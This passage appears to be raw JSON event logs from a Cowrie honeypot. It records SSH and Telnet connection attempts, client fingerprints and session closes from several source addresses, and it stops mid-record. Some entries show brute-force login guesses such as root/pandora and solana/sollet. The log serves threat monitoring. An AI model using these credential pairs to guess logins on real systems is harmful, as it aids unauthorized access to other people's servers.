{"eventid":"cowrie.session.connect","src_ip":"122.51.73.24","src_port":29365,"dst_ip":"10.17.0.5","dst_port":22,"session":"8237a391f21c","protocol":"ssh","message":"New connection: 122.51.73.24:29365 (10.17.0.5:22) [session: 8237a391f21c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:26:19.032926Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:26:19.040705Z","src_ip":"122.51.73.24","session":"8237a391f21c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:26:19.270739Z","src_ip":"122.51.73.24","session":"8237a391f21c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54358,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2de900c40a2","protocol":"telnet","message":"New connection: 192.119.13.58:54358 (10.17.0.5:23) [session: f2de900c40a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:26:19.574971Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazZAQ!","message":"login attempt [root/1qazZAQ!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:26:20.649607Z","src_ip":"122.51.73.24","session":"8237a391f21c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58884,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1891c5f2c4a","protocol":"telnet","message":"New connection: 192.119.13.58:58884 (10.17.0.5:23) [session: a1891c5f2c4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:26:21.121125Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59504,"dst_ip":"10.17.0.5","dst_port":23,"session":"627e89f2743c","protocol":"telnet","message":"New connection: 192.119.13.58:59504 (10.17.0.5:23) [session: 627e89f2743c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:26:21.350516Z"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:26:21.890072Z","src_ip":"122.51.73.24","session":"8237a391f21c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":32884,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5c6ddf6f32d","protocol":"telnet","message":"New connection: 192.119.13.58:32884 (10.17.0.5:23) [session: a5c6ddf6f32d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:26:21.948500Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37104,"dst_ip":"10.17.0.5","dst_port":23,"session":"8dd2626099a5","protocol":"telnet","message":"New connection: 192.119.13.58:37104 (10.17.0.5:23) [session: 8dd2626099a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:26:23.366347Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41898,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ce8dd0c16c1","protocol":"telnet","message":"New connection: 192.119.13.58:41898 (10.17.0.5:23) [session: 2ce8dd0c16c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:26:25.235560Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54696,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2741729fb27","protocol":"telnet","message":"New connection: 192.119.13.58:54696 (10.17.0.5:23) [session: c2741729fb27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:26:29.866746Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":55452,"dst_ip":"10.17.0.5","dst_port":22,"session":"aed0086a6434","protocol":"ssh","message":"New connection: 193.32.162.145:55452 (10.17.0.5:22) [session: aed0086a6434]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:26:37.025089Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:26:37.030291Z","src_ip":"193.32.162.145","session":"aed0086a6434","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:26:37.179067Z","src_ip":"193.32.162.145","session":"aed0086a6434","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"sollet","message":"login attempt [solana/sollet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:26:37.551301Z","src_ip":"193.32.162.145","session":"aed0086a6434","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.349807262420654,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:26:38.065100Z","src_ip":"192.119.13.58","session":"3e1b7067ff6d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:26:38.708247Z","src_ip":"193.32.162.145","session":"aed0086a6434","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56046,"dst_ip":"10.17.0.5","dst_port":23,"session":"1fe6d4192a31","protocol":"telnet","message":"New connection: 192.119.13.58:56046 (10.17.0.5:23) [session: 1fe6d4192a31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:26:39.811144Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38122,"dst_ip":"10.17.0.5","dst_port":23,"session":"141044c50d97","protocol":"telnet","message":"New connection: 192.119.13.58:38122 (10.17.0.5:23) [session: 141044c50d97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:26:43.236841Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49272,"dst_ip":"10.17.0.5","dst_port":23,"session":"23b7ece994a3","protocol":"telnet","message":"New connection: 192.119.13.58:49272 (10.17.0.5:23) [session: 23b7ece994a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:26:46.684230Z"}
{"eventid":"cowrie.session.closed","duration":47.99879050254822,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:26:48.190197Z","src_ip":"192.119.13.58","session":"050a6dc9f968","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54432,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb103064f83e","protocol":"telnet","message":"New connection: 192.119.13.58:54432 (10.17.0.5:23) [session: cb103064f83e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:26:48.321709Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54472,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7e09ed7f274","protocol":"telnet","message":"New connection: 192.119.13.58:54472 (10.17.0.5:23) [session: e7e09ed7f274]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:26:48.335376Z"}
{"eventid":"cowrie.session.closed","duration":35.812896490097046,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:26:48.830433Z","src_ip":"192.119.13.58","session":"2e1a6bc3400e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59264,"dst_ip":"10.17.0.5","dst_port":23,"session":"2adb9dd43d47","protocol":"telnet","message":"New connection: 192.119.13.58:59264 (10.17.0.5:23) [session: 2adb9dd43d47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:26:49.767822Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33110,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4ddc6ec5f88","protocol":"telnet","message":"New connection: 192.119.13.58:33110 (10.17.0.5:23) [session: b4ddc6ec5f88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:26:50.407307Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35538,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7af740249aa","protocol":"telnet","message":"New connection: 192.119.13.58:35538 (10.17.0.5:23) [session: e7af740249aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:26:51.177495Z"}
{"eventid":"cowrie.session.closed","duration":37.020052909851074,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:26:53.317970Z","src_ip":"192.119.13.58","session":"1d574b38f637","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43838,"dst_ip":"10.17.0.5","dst_port":23,"session":"362826bff87f","protocol":"telnet","message":"New connection: 192.119.13.58:43838 (10.17.0.5:23) [session: 362826bff87f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:26:53.651694Z"}
{"eventid":"cowrie.session.closed","duration":45.51149773597717,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:26:54.925172Z","src_ip":"192.119.13.58","session":"5f8feb764ebe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.214558601379395,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:26:57.861551Z","src_ip":"192.119.13.58","session":"b1073a304ca9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60084,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9079039c740","protocol":"telnet","message":"New connection: 192.119.13.58:60084 (10.17.0.5:23) [session: e9079039c740]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:26:58.432950Z"}
{"eventid":"cowrie.session.closed","duration":38.72591948509216,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:26:59.846948Z","src_ip":"192.119.13.58","session":"a1891c5f2c4a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.282392263412476,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:26:59.857228Z","src_ip":"192.119.13.58","session":"f2de900c40a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.93470573425293,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:27:00.300838Z","src_ip":"192.119.13.58","session":"8dd2626099a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.254146575927734,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:27:02.471225Z","src_ip":"192.119.13.58","session":"86adbc6ae174","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.77988338470459,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:27:03.015338Z","src_ip":"192.119.13.58","session":"2ce8dd0c16c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.36551380157471,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:27:03.313876Z","src_ip":"192.119.13.58","session":"a5c6ddf6f32d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55450,"dst_ip":"10.17.0.5","dst_port":23,"session":"163c8f0ac329","protocol":"telnet","message":"New connection: 192.119.13.58:55450 (10.17.0.5:23) [session: 163c8f0ac329]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:27:06.225915Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34078,"dst_ip":"10.17.0.5","dst_port":23,"session":"cedb47a26ff1","protocol":"telnet","message":"New connection: 192.119.13.58:34078 (10.17.0.5:23) [session: cedb47a26ff1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:27:07.201696Z"}
{"eventid":"cowrie.session.closed","duration":46.387125730514526,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:27:07.737364Z","src_ip":"192.119.13.58","session":"627e89f2743c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44006,"dst_ip":"10.17.0.5","dst_port":23,"session":"77fbef6a4bd3","protocol":"telnet","message":"New connection: 192.119.13.58:44006 (10.17.0.5:23) [session: 77fbef6a4bd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:27:09.712492Z"}
{"eventid":"cowrie.session.closed","duration":41.96352744102478,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:27:11.830187Z","src_ip":"192.119.13.58","session":"c2741729fb27","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":35300,"dst_ip":"10.17.0.5","dst_port":22,"session":"3cd7ab0997e8","protocol":"ssh","message":"New connection: 103.77.175.15:35300 (10.17.0.5:22) [session: 3cd7ab0997e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:27:14.235251Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:27:14.240880Z","src_ip":"103.77.175.15","session":"3cd7ab0997e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:27:14.487479Z","src_ip":"103.77.175.15","session":"3cd7ab0997e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pandora","message":"login attempt [root/pandora] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:27:15.223002Z","src_ip":"103.77.175.15","session":"3cd7ab0997e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:27:16.470050Z","src_ip":"103.77.175.15","session":"3cd7ab0997e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.51.73.24","src_port":42841,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee6393bf9032","protocol":"ssh","message":"New connection: 122.51.73.24:42841 (10.17.0.5:22) [session: ee6393bf9032]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:27:18.067932Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:27:18.073178Z","src_ip":"122.51.73.24","session":"ee6393bf9032","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:27:18.317531Z","src_ip":"122.51.73.24","session":"ee6393bf9032","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.22716951370239,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:27:18.463881Z","src_ip":"192.119.13.58","session":"141044c50d97","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456@Qwe","message":"login attempt [root/123456@Qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:27:19.948058Z","src_ip":"122.51.73.24","session":"ee6393bf9032","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53390,"dst_ip":"10.17.0.5","dst_port":23,"session":"00277244fd15","protocol":"telnet","message":"New connection: 192.119.13.58:53390 (10.17.0.5:23) [session: 00277244fd15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:27:20.412904Z"}
{"eventid":"cowrie.session.connect","src_ip":"175.118.127.138","src_port":38070,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f275728383b","protocol":"ssh","message":"New connection: 175.118.127.138:38070 (10.17.0.5:22) [session: 0f275728383b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:27:20.716629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:27:20.722037Z","src_ip":"175.118.127.138","session":"0f275728383b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 